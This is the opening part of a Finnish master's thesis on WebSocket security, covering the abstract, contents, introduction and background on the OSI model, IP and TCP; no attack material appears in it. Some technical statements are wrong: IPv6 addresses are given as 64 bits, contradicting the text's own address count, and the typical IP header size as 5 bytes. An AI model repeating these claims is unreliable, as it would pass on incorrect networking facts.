

WebSocket-protokollan tietoturva selainsovelluksissa

Tomi Fagerlund

Tampereen yliopisto
Informaatiotieteiden yksikkö
Tietojenkäsittelyoppi
Pro gradu -tutkielma
Ohjaaja: Timo Poranen
Kesäkuu 2014

Tampereen yliopisto
Informaatiotieteiden yksikkö
Tietojenkäsittelyoppi
Tekijän Nimi: Tomi Fagerlund
Pro gradu -tutkielma, 54 sivua, 7 liitesivua
Kesäkuu 2014

Tämä tutkielma tutustuttaa lukijan yleisimpiin verkkoprotokolliin ja esittelee websocket-protokollan. WebSocket-teknologiaa kokonaisuutena esitellään ja vertaillaan muihin verkkosovelluksissa käytettyihin teknologioihin. Lisäksi websocket-teknologiaa analysoidaan tietoturvan näkökulmasta.

Tietoturva-analyysin pohjalta todetaan, että yleiset verkkosivuhaavoittuvuudet mahdollistavat websocket-yhteyden kaappaamisen, jolloin ulkopuolinen osapuoli saa täydet luku- ja kirjoitusoikeudet yhteyteen. WebSocketin hallinta mahdollistaa uusia verkkohyökkäyksiä. Yhteyden kaappaamisen estämiseksi ja verkkohyökkäysten lieventämiseksi ehdotetaan erilaisia keinoja.

Avainsanat ja -sanonnat: websocket, verkkotekniikat, TCP, IP, HTML5, tietoturva, XSS, CSRF, palvelunestohyökkäys.

Sisällys

1. Johdanto.....	1
2. Verkkotekniikoista.....	2
2.1. OSI-viitemalli.....	4
2.2. IP-protokolla.....	5
2.3. TCP-protokolla.....	8
2.4. TCP/IP-viitemalli.....	11
2.5. TLS/SSL.....	12
2.6. HTTP/S-protokolla.....	13
2.7. Verkkosivujen esitysteknologiat.....	16
3. Websocket-teknologia.....	19
3.1. Websocket-rajapinta.....	20
3.2. Yhteyden muodostaminen.....	23
3.2.1. Asiakkaan käsittely.....	24
3.2.2. Palvelimen käsittely.....	26
3.3. Viestien kehystys.....	28
3.4. Datat lähtettäminen ja vastaanottaminen.....	30
3.5. Yhteyden sulkeminen.....	31
3.6. Virheiden käsittely.....	33
3.7. Laajennokset.....	34
4. Vertailu muihin tekniikoihin.....	35
4.1. AJAX (HTTP).....	35
4.2. Comet.....	37
4.3. Kolmansien osapuolien teknologiat.....	38
5. Websockettien tietoturva.....	39
5.1. Käyttäjän tunnistaminen.....	41
5.2. Välityspalvelinten välimuistin saastuttaminen.....	42
5.3. Cross-site scripting.....	43
5.4. Cross-site request forgery/websocketin kaappaaminen.....	45
5.5. Palvelunestohyökkäys.....	46
5.6. Tiedon salakuuntelu.....	47
5.7. Komentoriviyhteys websocket-teknologialla.....	48
5.8. Testaamisesta.....	48
6. Loppupäätelmät.....	51
Viiteluettelo.....	52
Liitteet	

1. Johdanto

Maaailman edelleen verkottuessa selaimessa ajettavat sovellukset jatkavat yleistymistä ja uusilta selainsovelluksilta odotetaan enemmän interaktiivisuutta. Selainteknologiat joutuvat myös jatkuvasti mukautumaan uusiin vaatimuksiin ja haasteisiin, minkä johdosta teknologiat ja verkkoprotokollat ovat jatkuvassa muutoksessa.

Internetin tunnetuin sovellus WWW on alun perin suunniteltu yksinkertaiseen resurssien hakemiseen, mutta vuosien saatossa WWW-sivuja on alettu käyttämään myös verkkosovellusten käyttöliittyminä, joista halutaan entistä enemmän työpöytäsovellusten kaltaisia. Lisäksi peli- ja mobiilialan murrokset tuovat lisää haasteita ja vaatimuksia selainpohjaisten sovellusten tiedonsiirtoprotokolliin. HTTP ja siihen perustuvat teknologiat soveltuvat hyvin staattisten resurssien hakemiseen, mutta sen rajat tulevat vastaan, kun tarvitaan nopeaa tiedon päivittämistä palvelimen aloitteesta.

Uudehko verkkoprotokolla websocket vastaa moniin seuraavan polven verkkosovellusten kaipaamista tiedonsiirtovaatimuksista. Websocket-protokollalla luodaan aidosti täysin kaksisuuntainen yhteys selaimen ja palvelimen välille, jolloin myös palvelin voi lähettää tietoa selaimen ilman, että selaimesta tehdään erillinen päivityskutsu.

Tietoturva on edelleen eräs haastavimmista ongelmista verkkosovellusten kehittämisessä ja se on kriittinen huomion kohde uuden protokollan ollessa kysessä. Selainsovelluksia käytetään yhä enemmän yksityistä tietoa käsittelevissä sovelluksissa kuten pankkiasioinnissa, joissa tietoturva on tärkein prioriteti. Tämä tutkielma tutustuttaa lukijan websocket-protokollan teknisiin piirteisiin ja keskittyy analysoimaan sitä tietoturvan näkökulmasta. Websocket-protokollaa myös verrataan toistaiseksi yleisemmin käytettyihin kommunikointitekniikoihin kuten HTTP-pohjaisiin Comet-tekniikoihin. Erityisesti huomiota kiinnitetään websocket-tekniikan käyttäytymiseen yleisimpien tietoturva-avoittuvuuksien yhteydessä. Tutkitut haavoittuvuudet ja verkkohyökkäykset ovat välipalvelimen välimuistin saastuttaminen, cross-site scripting, cross-site request forgery, tiedon salakuuntelu ja palvelunestohyökkäys.

Tässä tutkielmassa lukija aluksi tutustutetaan Internetin perustavanlaatuisiin verkkoprotokolliin ja luvussa 3 esitellään websocket-tekniologia yksityiskohtaisesti. Luvussa 4 websocket-tekniologiaa verrataan yleisimpiin verkkosovelluksissa käytettyihin tekniikoihin ja luvussa 5 syvennytään tarkastelemaan websocket-tekniologiaa tietoturvan kannalta.

2. Verkkotekniikoista

Maaailmanlaajuinen tietokoneiden verkko Internet on eräs edellisen vuosisadan merkittävimmistä keksinnöistä. Internet tarkoittaa tietoverkkojen verkkoa, joka muodostuu yhteenliitetyistä pienemmistä lähiverkoista, jotka puolestaan muodostuvat tietokoneista ja muista laitteista, jotka välittävät tietoa päätepisteeltä toiselle. Internetin kautta erillisiin lähiverkkoihin kytketyt laitteet voivat kommunikoida toistensa kanssa. Isolla alkukirjaimella kirjoitettuna Internet tarkoittaa maailmanlaajuista internetiä. Muita internetien infrastruktuuriin kuuluvia laitteita ovat muun muassa reitittimet (engl. router), kytkimet (engl. switch), palomuurit (engl. firewall) ja välityspalvelimet (engl. proxy server). Reitittimien tehtävä on välittää tietoa lähiverkkojen välillä ja siten ne ovat keskeisessä asemassa internetin toiminnassa.

Lähiverkot voivat sisäisesti rakentua erilaisista verkkotekniikoista ja niihin kytketyt tietokoneet saattavat käyttää täysin erilaisia käyttöjärjestelmiä ja verkkoliittimiä. Jotta hyvinkin erilaiset laitteet ja käyttöjärjestelmät voisivat järkevästi ja jossain määrin luotettavasti kommunikoida ja välittää tietoa toisillensa Internetin yli, on järjestelmien ymmärrettävä yhteisiä tekniikoita ja kommunikointimääritelmiä, joita kutsutaan verkkoprotokolliksi tai pelkästään protokolliksi. Tässä luvussa esitellään tämän tutkielman kannalta keskeisimmät verkkoprotokollat ja -tekniikat, verkkosovellusten kehittämisessä nykyisin yleisesti käytettävät ohjelmointiteknologiat sekä tutkielmassa käytettävät käsitteet.

Tietoverkoissa kulkeva tieto on aina pohjimmiltaan raakaa bittidataa, joka on tulkittava jollain tavalla ennen kuin datasta voidaan muodostaa mielekästä tietoa. Data käsitellään erillisinä kokonaisuuksina, jotka määritellään protokollan mukaan. Datayksiköistä käytetään yleisnimitystä paketti, mutta protokollat usein nimeävät datayksiköt omalla tavallaan. Kaikki tietoliikenne Internetissä perustuu pakettien vaihtamiseen, eikä kahden tietokoneen välillä todellisuudessa ole pysyvää kanavaa. Jotkut protokollat kuitenkin määrittelevät yhteydelle tilan, jolloin yhteys vaikuttaa pysyvältä niin kauan kuin yhteys on auki. Tilallinen yhteys täytyy avata protokollan määrittämällä tavalla ennen varsinaista tiedonvaihtoa. Yhteyden avaamisen prosessia kutsutaan kättelyksi (engl. handshake) Yhteyden avaamisen ja sulkemisen välisestä tapahtumasarjasta käytetään usein nimitystä istunto (engl. session).

Internetin välityksellä toimitetaan monia sovelluksia ja palveluita, jotka ovat tehneet suuren muutoksen arkielämään 80-luvun lopulta alkaen. Tunnetuin Internetin sovelluksista on varmastikin World Wide Web (WWW), jonka perimmäinen tarkoitus oli jakaa hyperlinkkien kautta yhteen linkitettyjä staattista sisältöä sisältäviä sivuja [Stevens, 2011]. WWW:n käytön yleistyessä sivuille alettiin vaatimaan enemmän dynaamista sisältöä ja interaktiivisuutta, ja WWW on kehittynyt huomattavasti monimuotoisemmaksi sen alkuperäisestä tarkoituksesta. Kehityksen myötä myös

WWW:n ja Internetin perustana olevat verkkoprotokollat joutuvat jatkuvan muutoksen alle, ja yhteensopivuuden takaamiseksi uudet tekniikat usein kantavat suunnittelutaakkaa.

Yhtenäisten protokollamääritelmien ja Internetin perimmäisten teknologioiden ylläpitämisestä ja kehittämisestä vastaa pääasiassa neljä voittoa tavoittelematonta järjestettä. Kansainvälinen *Internet Society* (ISOC) on ylimmässä asemassa ja se vastaa Internetin kehittämisen suurista linjauksista. *Internet Architecture Board* (IAB) muodostuu 15 vapaaehtoisjäsenestä ja se vastaa Internetin teknisistä asioista. Verkkoprotokollien kehitys on *Internet Engineering Task Force* (IETF) vastuulla. IETF julkaisee protokollamääritelmiä ja muita Internetiin liittyviä määritelmiä julkaisuissa, joita kutsutaan nimellä *Request For Comments* (RFC). Lisäksi *Internet Research Task Force* (IRTF) toteuttaa Internetiä edistäviä tutkimusprojekteja. Näiden lisäksi keskeisessä asemassa on *Internet Assigned Numbers Authority* (IANA), joka vastaa maailmanlaajuisista IP-osoitteista, standardiporttien numeroinnista ja muista Internetin toimintaan liittyvistä numerointitehtävistä.

Avoimien protokollien ansiosta eri valmistajien tietokoneet ja käyttöjärjestelmät voivat kommunikoida toistensa kanssa Internetin välityksellä. Internetiin kytkettyjä päätepiisteitä, jotka voivat lähettää ja vastaanottaa tietoa, kutsutaan isänniksi (engl. host). Vaikka tiedonvälitys Internetissä tapahtuu yksittäisinä lähetyksinä eikä todellisuudessa kahden isännän tai päätepiisteen ole pysyvää yhteyttä, voidaan sellaisen illuusio rakentaa eri protokollien ominaisuuksilla. Päätepiisteiden välinen yhteys voi olla kolmea laatua: täysin kaksisuuntainen (engl. full-duplex), puolittain kaksisuuntainen (engl. half-duplex) tai yksisuuntainen (engl. simplex). Täysin kaksisuuntaisessa yhteydessä molemmat päätepiisteen voivat itsenäisesti aloittaa tiedon lähettämisen vastaanottajalle. Puolittain kaksisuuntaisessa vain toinen päätepiiste voi aloittaa yhteyden, jolloin vastapuoli voi vastata viestiin. Yksisuuntaisessa tieto kulkee ainoastaan yhteen suuntaan.

Tiedon liikkuminen Internetissä ja muissa tietoliikenneverkoissa perustuu karkeasti kahteen eri ajattelumallia seuraavaan arkkitehtuuriin: asiakas ja palvelin -arkkitehtuuriin (engl. client server) ja vertaisverkkoarkkitehtuuriin (engl. peer to peer). Asiakas ja palvelin -arkkitehtuurissa sovellus muodostuu kahdesta erillisestä osasta, asiakkaasta (engl. client) ja palvelimesta (engl. server). Asiakas ja palvelin voivat olla toisistaan täysin erillisiä ohjelmia erillisissä ympäristöissä ja käyttöjärjestelmissä. Palvelin tarjoaa jotain tiettyjä resursseja tai palveluita, joita asiakkaat käyttävät. Yleensä palvelin ei ennestään tunne järjestelmään liitettyjä asiakkaita, mutta asiakkaiden on tunnettava palvelin esimerkiksi sen osoitteen perusteella. Asiakkaat eivät myöskään tunne toisiaan, ellei palvelin eksplisiittisesti välitä tietoa muista asiakkaista. Esimerkkinä asiakas ja palvelin -arkkitehtuurista on WWW, jossa selainohjelma toimii asiakkaana ja WWW-palvelimet ovat palvelimia. Termiä palvelin käytetään myös merkitsemään fyysistä tietokonetta tai laitetta, jossa suoritetaan mahdollisesti useita loogisia palvelimia eli palvelinohjelmia. Tästä lähtien tässä tutkielmassa termillä palvelin viitataan loogiseen palvelimeen.

Palvelimet voidaan jakaa niiden vastausprosessin mukaan kahteen perustyyppiin: iteratiivisiin (engl. iterative server) ja samanaikaisesti palveliviin (engl. concurrent server) [Stevens, 2011]. Iteratiiviset palvelimet toimivat siten, että saatuaan pyynnön asiakkaalta ne muodostavat vastauksen ja lähettävät sen asiakkaalle. Vastauksen rakentamisen aikana ne eivät voi alkaa prosessoimaan uusia pyyntöjä uusilta asiakkailta, ja uudet pyynnöt joko hylätään tai asetetaan jonoon odottamaan prosessin vapautumista. Samanaikaiset palvelimet voivat prosessoida useita kutsuja ja palvella monia asiakkaita yhtäaikaisesti. Palvelin voi säikeistää pyyntöjen prosessoimisen yhdelle prosessille, mutta usein tällaisissa palvelimissa käynnistetään uusi prosessi jokaiselle uudelle pyynnölle. Palvelinprosessi saatetaan myös jättää eloon istunnon ajaksi.

Vertaisverkkoarkkitehtuurissa ei ole erillistä palvelinta, joka olisi erityisasemassa muihin samassa järjestelmässä toimiviin ohjelmiin nähden. Asiakkaat, joita tässä kutsutaan vertaisiksi (engl. peer), ovat samanarvoisessa asemassa ja suorassa yhteydessä toisiinsa. Järjestelmä on hajautettu.

Seuraavissa kohdissa paneudutaan tarkastelemaan Internetin perustavanlaatuisimpia protokollia ja teknologioita. Joidenkin alimpien tasojen teknologioiden tarkka esittely ohitetaan, sillä ne eivät ole oleellisia tämän tutkielman kannalta.

2.1. OSI-viitemalli

Verkkoliikenneprotokollat rakentuvat kerroksittain, ja usein verkkoprotokollamallit kuvataan tasoarkkitehtuurina, jossa jokainen taso vastaa yhdestä yhteyden osasta tai piirteestä. Ylemmän tason protokolla käyttää alemman tason protokollaa ja siten on riippuvainen siitä. Jotta kaksi päätepistettä voisivat kommunikoida keskenään, niiden on toteutettava jokainen saman protokollapinon tasoista. Tasot ovat yhteydessä ainoastaan saman tason kanssa päätepisteissä ja ne vaihtavat keskenään tason määritelmän mukaisia paketteja. Abstraktiotasoilla erotettu protokollapino mahdollistaa monimutkaisten yhteyksien toimimisen.

OSI-malli (Open Systems Interconnection Reference Model) on verkkotekniikoiden kehityksessä keskeinen abstraktiomalli [Stevens, 2011]. OSI-malli kuvaa seitsemän loogisesti eroteltua tasoa (taulukko 1). Ylin taso on lähimpänä käyttäjää. Tasoista kolme ylintä (5-7) ja loput neljä alinta (1-4) voidaan eriyttää omiksi kokonaisuuksikseen. Tyypillisesti ylimmät kerrokset toteuttavat sovelluskohtaisia toimintoja ja alimmat primitiivisempia verkkoliikenteeseen liittyviä toimintoja. Nykyinen Internet perustuu samankaltaiseen malliin, joka ei kuitenkaan ole täysin OSI:n mukainen. Internetin tietoliikennemallista käytetään nimitystä TCP/IP-malli, joka kuvataan edempänä tässä luvussa. Nimitys tulee yleisimmin käytetystä protokollaparista, mutta tätä viitemallia ei tule sekoittaa itse TCP- ja IP-protokollien kanssa.

Taso		Tietoyksikkö
7. Sovelluskerros	Sovellustason toiminnot (isäntätaso)	Sovelluskohtainen data
6. Esityskerros		
5. Istuntokerros		
4. Kuljetuskerros	Verkkotason toiminnot (mediataso)	Segmentti
3. Verkkokerros		Paketti
2. Siirtokerros		Sähke
1. Fyysinen kerros		Bitti

Taulukko 1. OSI-malli.

OSI-mallin ensimmäinen taso kuvaa fyysisen kerroksen (engl. physical layer), johon kuuluu kaikki fyysiset laitteet ja yhteyden mahdollistava elektroniikka ominaismäärittämineen. Tämän kerroksen läpi kulkeva tietovirta on raakaa dataa eli bittejä. Fyysisen kerroksen muodostama yhteys ei ole luotettava. Toinen kerros eli siirtokerros (engl. data link layer) vastaa kahden päätepisteen välisestä luotettavasta yhteydestä. Siirtokerroksessa toimivat kytkimet käyttävät kaikille verkkoon kytketyille laitteille anettua uniikkia *Media Access Control* (MAC) -osoitetta. Näiden kahden alimman tason tarkka kuvaus ei ole olleellista tämän tutkielman kannalta. Kolmas kerros eli verkkokerros (engl. network layer) mahdollistaa usean päätepisteen muodostamassa verkossa tiedon jakamisen tietyille päätepiesteille. Kerros määrittää osoitteen kaikille verkkoon kytketyille laitteille. Esimerkiksi myöhemmin esiteltävä IP-protokolla toimii verkkokerroksessa. Neljäs kerros eli kuljetuskerros (engl. transport layer) mahdollistaa eri verkkojen välisen tiedonvälityksen. Viides taso eli istuntokerros (engl. session layer) määrittelee kahden päätepisteen välisen pysyvän yhteyden hallinnasta eli se avaa ja sulkee istunnon isäntien välille. Kuudes kerros eli esityskerros (engl. presentation layer) muuntaa välitetyn tiedon sovellustason ymmärtämään muotoon. Seitsemäs kerros eli sovelluskerros (engl. application layer) on itse sovellus.

2.2. IP-protokolla

Koko modernin Internetin perustana voidaan pitää yhtä protokollaa: IP (Internet Protocol). IP on verkkokerroksen protokolla, joka välittää tietosähkeiksi (engl. datagram) kutsuttuja paketteja isännältä toiselle tietoverkossa. IP-protokollalla on myös mahdollista reitittää tietosähkeitä verkon sisällä ja verkosta toiseen, joten sen avulla erilliset tietoverkot voidaan yhdistää yhdeksi internetiksi. Isännät voivat toimia sekä yhteyden päätepiesteinä että reitittäjinä. Tämän ominaisuuden takia IP valikoitui Internetin pääasialliseksi protokollaksi. IP-protokolla virallisesti määritellään RFC:ssä numero 791.

IP-protokolla on epäluotettava ja yhteyksetön. Protokolla ei takaa, että jokainen lähetetty tietosähke saavuttaa vastaanottajansa. Tietosähkeiden häviämiseen on useita syitä, kuten reitittimen puskurin täytyminen tai tietosähkeen eliniän ylittyminen. Näissä tapauksissa protokolla pyrkii

lähettämään ICMP-viestin alkuperäisen tietosähkeen lähettäjälle virhetilanteesta. IP ei myöskään tallenna minkäänlaista tilatieto peräkkäisistä tietosähkeistä. Jokainen sähke käsitellään erillisenä, mistä johtuen tietosähkeet saattavat saapua vastaanottajalle eri järjestyksessä kuin missä ne alunperin lähetettiin. Luotettavan ja jatkuvan yhteyden ylläpitäminen on ylempien tasojen protokollien vastuullaa. Muun muassa myöhemmin esiteltävä TCP tarjoaa luotettavan yhteyden isäntien välille.

Isäntien identifiointi tapahtuu IP-osoitteiden avulla. IP-protokollan versiossa 4 (*IPv4*) osoite on 32-bittinen arvo, joka lähes aina esitetään neljänä tavuna pisteellä esiteltynä. Mahdollisten IP-osoitteiden lukumäärä on siis $4\ 294\ 967\ 296$. Alun perin IPv4:n osoitteiden lukumäärää pidettiin riittävänä, mutta Internetin laajentuessa kävi selväksi, että osoitteet tulevat loppumaan kesken. Protokollan seuraavassa versiossa 6 (*IPv6*) osoitekentän koko on 64 bittiä, minkä johdosta osoitteiden lukumäärä on huomattavasti suurempi, noin 3.403×10^{38} .

IP-osoitteita on neljää perustyyppiä: täsmäläheys (engl. unicast), yleislähetys (engl. broadcast), ryhmälähetys (engl. multicast) ja jokulähetys (engl. anycast). Täsmälähetys on yleisin perustyyppiä. Sillä toimitetaan tietosähke yhdeltä lähettäjältä yhdelle vastaanottajalle. Yleislähetyksessä tietosähke kopioidaan kaikille samaan verkkoon liitetyille isännille. Lähettäjän ei tarvitse lähettää samaa viestiä useaan kertaan jokaiselle muulle isännälle verkossa. Ryhmälähetys toimittaa viestin tietyille isännille verkossa. Jokulähetyksessä tietosähke toimitetaan lähimmälle isännälle lähettäjältä. Alun perin IP-osoitteet jaettiin luokkiin (taulukko 2 ja 3), joihin määriteltiin erillinen verkko-osa ja isäntäosa. Nykyisin luokittelua ei juurikaan enää käytetä.

Luokka A	0	7 bittiä			24 bittiä		
Luokka B	1	0	14 bittiä			16 bittiä	
Luokka C	1	1	0	21 bittiä			8 bittiä
Luokka D	1	1	1	0	28 bittiä		
Luokka E	1	1	1	1	0	27 bittiä	

Taulukko 2. IP-osoiteluokat.

Luokka	Osoiteväli
A	0.0.0.0 - 127.255.255.255
B	128.0.0.0 - 191.255.255.255
C	192.0.0.0 - 223.255.255.255
D	224.0.0.0 - 239.255.255.255
E	240.0.0.0 - 247.255.255.255

Taulukko 3. IP-osoiteluokkien osoitevälit.

IP-osoitteiden lisäksi isäntien tunnistamiseen Internetissä käytetään verkkotunnukseksi (engl. domain name), jotka ovat helpommin ihmisten luettavissa ja muistettavissa kuin 32- tai 64-bittiset arvot. Tunnusten liittäminen IP-osoitteisiin tapahtuu *Domain Name System* (DNS) -järjestelmän kautta. DNS:n tarjoamalta palvelulta voidaan tiedustella verkkotunnusta vastaava IP-osoite. Esimerkki verkkotunnuksesta on *www.esimerkki.org*.

IP-protokolla, kuten moni muukin protokolla, lisää viesteihin metatieto-osion, joka liitetään jokaiseen tietosähkeeseen. Otsakkeella (engl. header) tästä lähtien tarkoitetaan pakettiin lisättävää metadataosiota, joka sisältää protokollan tarvitsemaa tietoa. Lähes jokainen protokolla määrittelee oman otsakkeensa. Otsakkeiden koko ja niiden sisältämä tieto vaihtelee.

0		16	
Versio (4 bittiä)	otsakkeen pituus (4 bittiä)	palvelun tyyppi (ToS) (8-bittiä)	Tietosähkeen koko (16 bittiä)
Identifikaattori (16 bittiä)		Lippumuuttuja (3 bittiä)	Fragmentin offset (13 bittiä)
Elinaika (8 bittiä)	Protokolla (8-bittiä)	Otsakkeen varmistesumma (16 bittiä)	
Lähettäjän IP-osoite (32 bittiä)			
Vastaanottajan IP-osoite (32 bittiä)			
Valinnaiset lisätiedot			
Varsinainen tietosisältö			

Taulukko 4. IP-protokollan otsake.

Taulukossa 4 on esitetty IP-protokollaotsakkeeseen kuuluvat tietokentät. Kenttien koko on ilmoitettu suluissa. Ensimmäinen kenttä ilmoittaa protokollan version ja toinen kenttä sisältää otsakkeen koon numerona kuinka monta 32-bitin sanaa otsake sisältää. Koska otsakkeen koon ilmoittavan kentän koko on 4 bittiä, on otsakkeen maksimikoko 60 tavua. Tyypillisimmin

otsakkeen koko on 5 tavua, jolloin valinnaisia optioita ei ole määritelty. Palvelun tyyppi -kenttä koostuu kolmen alkubitin osasta, jota ei nykyisin käytetä, neljän bitin tyyppimäärittelystä ja viimeisen bitin on oltava 0. Tyypit ovat minimoi viive, maksimoi suoritusteho, maksimoi luotettavuus ja minimoi taloudellinen kustannus. Vain yksi näistä biteistä voi olla päällä, mutta kaikki voivat olla pois päältä.

Seuraava kenttä ilmoittaa tietosähkeen sisällön kokonaispituuden tavuina. Tämä kenttä yhdessä otsakkeen maksimipituuden kanssa kertoo koko IP-tietosähkeen maksimipituudeksi 65536 tavua. Tätä suuremmat viestit fragmentoidaan eli ne lähetetään kahdessa tai useammassa osassa eri tietosähkeinä.

Identifikaatio-kenttä sisältää uniikin identifioijan jokaiselle tietosähkeelle. Normaalisti sähkeet identifioidaan numeroimalla lähettämisyjärjestyksessä. Lippumuuttuja ja fragmentointin offset liittyvät tietosähkeiden fragmentoimiseen, jota ei tässä esitellä tarkemmin.

Elinaika-kenttä ilmoittaa kuinka monen reitittimen läpi paketin sallitaan kulkeutua. Lähettäjä asettaa kentän arvon ja jokainen reititin, jonka läpi paketti kulkee vähentää arvoa yhdellä. Kun arvo vähenee nolnaan, paketti hylätään ja lähettäjälle ilmoitetaan ICMP-viestillä asiasta. Eliniällä estetään paketin jääminen silmukkaan.

Protokolla-kenttä ilmoittaa mitä kuljetustason protokollaa tietosähkeen sisältö noudattaa. Kenttä on 8-bittinen arvo. Arvo 1 vastaa ICMP-protokollaa, 2 vastaa IGMP, 6 vastaa TCP:tä ja 17 UDP:tä. Varmistesumma lasketaan pelkästään otsakkeen sisällöstä, eikä siihen oteta mukaan varsinaista viestin sisältöä. Viimeisenä tietona otsakkeessa on lähettäjän ja vastaanottajan IP-osoitteet, jotka molemmat ovat IPv4:ssä 32-bittisiä.

Kuten aikaisemmin on mainittu IP-protokolla mahdollistaa isäntien toimimisen myös tietosähkeiden reitittäjinä. Yksinkertaisimmassa tapauksessa, jossa vastaanottaja on suoraan yhdistetty lähettäjään, reititin välittää tietosähkeen suoraan vastaanottajalle. Muussa tapauksessa reititin lähettää tietosähkeen erikseen määritellylle oletusreitittimelle, joka lähettää sähkeen eteen päin. IP-kerros säilyttää muistissa reititystaulukkoa, josta etsitään vastaanottajaa aina uuden tietosähkeen saapuessa. Aluksi IP tarkistaa, onko vastaanottajan osoite sitä suorittavan isännän osoite, jolloin paketti annetaan seuraavalle kerrokselle protokolla-kentän arvon osoittamalle kuljetustason protokollalle prosessoitavaksi. Jos osoite ei ole isännän osoite ja isäntä on konfiguroitu toimimaan reitittimenä, viesti reititetään edelleen, muussa tapauksessa viesti hylätään.

Reititystaulussa on jokaisen merkinnän kohdalla määränpään IP-osoite, seuraavan reitittimen IP-osoite, lippumuuttujat ja verkkolaitteen määritelmä, jolle tietosähke tulee syöttää. Reititysalgoritmi hakee taulukosta tietosähkeen määränpäästä ja välittää sähkeen eteen päin.

2.3. TCP-protokolla

Toinen merkittävimmistä protokollista Internetin kannalta on *Transmission Control Protocol* (TCP). Suurin osa Internetin verkkoliikenteestä käyttää kuljetuskerroksen protokollana TCP-

protokollaa, ja useat sovellustason protokollat ovat riippuvaisia TCP-protokollasta. TCP rakentaa IP:n päälle luotettavan ja jatkuvaan yhteyteen perustuvan kanavan. Jatkuva yhteys tarkoittaa sitä, että päätepisteiden välinen TCP-yhteys on tilallinen. Yhteys voi olla yhdessä useista määritellyistä tiloista (taulukko 6) kerrallaan. Päätepisteiden on ennen varsinaisen tiedonvaihtoa avattava yhteys kättelyprosessilla. Ainoastaan kaksi päätepiistettä voi olla samassa TCP-yhteydessä kerrallaan, mutta päätepiisteet voivat avata useita yhtäaikaista yhteyksiä muihin isäntiin. TCP:n määritelmä on RFC-793.

TCP-protokollan paketteja kutsutaan segmenteiksi. Protokolla takaa, että segmentit saapuvat vastaanottavalle sovelluskerrokselle samassa järjestyksessä kuin missä ne lähetettiin. Luotettavuus taataan kuittausmekanismilla. TCP asettaa jokaiselle IP-kerrokselle lähetettävälle segmentille yksilöllisen sekvenssinumeron. Vastaanottajan on kuitattava jokainen saapunut segmentti. Jos kuittaus ei saavu lähettäjälle tietyn ajan kuluttua, TCP lähettää saman segmentin uudelleen. TCP käyttää myös otsakkeen tarkistesummaa takaamaan, että tieto ei ole muuttunut viestin kulkeutuessa vastaanottajalle. TCP:ssä on myös mekanismi segmenttien järjestämiseksi, sillä IP-tason tietosähkeet saattavat saapua eri järjestyksessä kuin missä ne lähetettiin.

Yhteyden avaaminen tapahtuu kolmivaiheisella kättelyprosessilla. Palvelimen täytyy ennen yhteyksien vastaanottamista avata ja sitoa portti. Asiakas lähettää SYN-viestin palvelimelle. SYN-segmentin sekvenssinumeroksi asetetaan satunnaisluku s . Palvelin vastaa viestiin SYN-ACK-viestillä, jonka kuittausnumeroksi asetetaan $s + 1$ ja sekvenssinumeroksi asetetaan satunnaisluku a . Yhteyden aloittanut osapuoli vastaa ACK-viestillä, jonka sekvenssinumeroksi asetetaan $s + 1$ ja kuittausnumeroksi $a + 1$.

TCP:n otsake (taulukko 5) sisältää vastaanottajan ja lähettäjän portin numeron, joka on 16-bittinen arvo. Porteilla identifioidaan sovellustason prosessit, sillä samassa isännässä voi olla (ja usein onkin) useita prosesseja, jotka avaavat ja vastaanottavat TCP-yhteyksiä. IP-osoitetta ja porttia yhdessä kutsutaan verkkopistokkeeksi (engl. socket). Lähettäjän ja vastaanottajan verkkopistokkeiden muodostamaa neljän elementin monikkoa käytetään identifioimaan TCP-yhteydet. Otsakkeeseen kuuluu myös luotettavuusmekanismin sekvenssi- ja kuittausnumerot, joiden koko on 32 bittiä. Näiden lisäksi otsakkeessa määritellään kättelyprosessiin ja muuhun yhteyden kontrolloimiseen kuuluvat yhden bitin lippumuuttujat (URG, ACK, PSH, RST, SYN, FIN). Lippumuuttujaa URG ja kenttää Urgent-osoitin käytetään ilmoittamaan vastaanottajalle, että segmentin sisältävä data on jollain tavalla kiireellistä. Vastaanottajan vastuulle jää reagoiminen kiireellisiin segmentteihin.

0								16							
Lähteen porttinumero (16 bittiä)								Määränpään porttinumero (16 bittiä)							
Sekvenssinumero (32 bittiä)															
Kuittausnumero (32 bittiä)															
Otsakkeen pituus (4 bittiä)	Varattu (6 bittiä)	U	A	P	R	S	F	Ikkunan koko (16 bittiä)							
		R	C	S	S	Y	I								
		G	K	H	T	N	N								
Tarkistesumma (16 bittiä)								Urgent-osoitin (16 bittiä)							
Valinnainen data															
Sisältö															

Taulukko 5. TCP-otsake.

Tila	Selitys
LISTEN	Valmiina vastaanottamaan yhteyksiä (palvelin)
SYN-SENT	Odottaa kättelypyynnön vastausta (asiakas)
SYN-RECEIVED	Odottaa kättelyn varmistusta (palvelin)
ESTABLISHED	Yhteys muodostettu (molemmat)
FIN-WAIT-1	Odottaa yhteyden päättämistä tai sen varmistetta (molemmat)
FIN-WAIT-2	Odottaa yhteyden päättämistä (molemmat)
CLOSE-WAIT	Odottaa yhteyden päättämisen varmistetta paikalliselta käyttäjältä (molemmat)
CLOSING	Odottaa yhteyden päättämisen varmistetta (molemmat)
LAST-ACK	Odottaa varmistetta lähetettyyn yhteyden päättämispyyntöön (molemmat)
TIME-OUT	Yhteyden päättämispyyntöstä kulunut tarpeeksi aikaa
CLOSED	Ei yhteyttä

Taulukko 6. TCP-yhteyden tilat.

TCP pyrkii optimoimaan yhteyden suoritusnopeutta ikkunointimenetelleyllä. Ikkunoinnilla tarkoitetaan sitä, että peräkkäisten lähetettävien segmenttien lukumäärää optimoidaan verkon suorituskyvyn ja luotettavuuden mukaan. Aluksi lähetetään yksi segmentti, jonka vastaanottaja kuittaa saapuneeksi. Jos lähettäjä saa kuittauksen tietyn ajan sisällä, lähettäjä kaksinkertaistaa seuraavassa joukossa, eli ikkunassa, lähetettävien segmenttien määrän. Tätä menettelyä jatketaan kunnes jokin segmentti jää kuittaamatta tai ikkunan maksimi koko saavutetaan. Jos yksikin

segmentin kuittaus jää puuttumaan, asetetaan ikkunan kooksi yksi ja menettely aloitetaan alusta. Ikkunan koko liitetään otsakkeeseen taulukon 6 mukaisesti.

